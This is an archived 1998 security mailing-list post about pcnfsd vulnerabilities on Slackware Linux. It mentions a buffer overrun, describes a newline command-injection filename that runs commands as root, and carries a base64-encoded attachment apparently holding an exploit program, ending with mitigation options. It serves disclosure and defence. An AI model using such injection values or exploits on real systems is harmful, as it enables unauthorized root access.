pcnfsd ...

From: ga (duncanat_private)
Date: Tue Oct 13 1998 - 15:42:22 PDT

  • Next message: Peter van Dijk: "Re: [NTSEC] By-passing MS Proxy 2.0 and others packet filtering"

    This is a multi-part message in MIME format.
    
    --------------70A2691163F0
    Content-Type: text/plain; charset=us-ascii
    Content-Transfer-Encoding: 7bit
    
    ((pcnfsd=="Phf Chronicle Needs Fresh Scandal Desperatly") ? TRUE:TRUE)
    
    
      After the two advisories released by rep-sec and rhino9 about pcnfsd,
    I decided to check if all the described holes were really present in my
    Slackware 3.1 distrib (I used the compiled rpc.pcnfsd code shipped with
    Slackware 3.5). By now, I suppose that everybody who was concerned by
    this security problem removed the pcnfs daemon on their system (or at
    least, run a patched version). You will find with this email an attached
    program that tries to exploit these security holes. This will help you
    to know if you are vulnerable or not (and to understand the weaknesses
    of the pcnfs daemon).
    
    Also, I found a buffer overrun in the pcnfs daemon (Slackware) that
    could lead to a remote root compromise. I didn't check all the code but
    I suppose that there may be other exploitable buffer overflows..
    
    I didn't succeed to use the ps630() hole explained in rep sec advisory
    (same as pr_cancel() phf-like bug). It's because pcnfsd_print.c checks
    if the file really exists (and then tries to rename it with the .spl
    extension). Therefore, if the file doesn't exist then an error is
    returned. However, if a local user creates a filename in the
    /var/spool/pcnfs directory which is in fact the command to execute (ex :
    /var/spool/pcnfs/FILENAME\nwhoami\nBLAH) then ps630() will work indeed,
    executing the command as root). I didn't tried it though.
    
    By the way, I only have a linux box (not even connected to a network) so
    I only wrote and tested this program on my computer. Therefore, please,
    don't blame me if you can't compile it or if it doesn't work over inet
    (no udp checksum code implemented). If you have errors with the program
    then just hack it up if you really want to have it running.
    
    Now, if you don't know what to do with your rpc.pcnfsd then it's up to
    you to choose between these solutions :
    
     1) still use unpatched pcnfs that will lead to a root compromise if an
    evil person wants to annoy you.
    or
     2) use patched pcnfs but a remote user can still try to brute force an
    account (because he may retrieve all the logins and check for valid
    login/passwd without being logged).
    or
     3) use patched pcnfs with the secure rpc lib that uses a control access
    list (like tcp wrapper) for ALL the rpc programs (not only portmapper)
    so that only allowed hosts are able to connect to pcnfs daemon.
    or
     4) remove pcnfs on your server and consequently disallow remote
    printing access for your users (is it that bad ?...).
    
                                                            ga
    
    --------------70A2691163F0
    Content-Type: application/octet-stream; name="PROUT.TGZ"
    Content-Transfer-Encoding: base64
    Content-Disposition: attachment; filename="PROUT.TGZ"
    
    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
    qU1talOb2tSmv1T6L2qP9hAAyAAA
    --------------70A2691163F0--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:19:40 PDT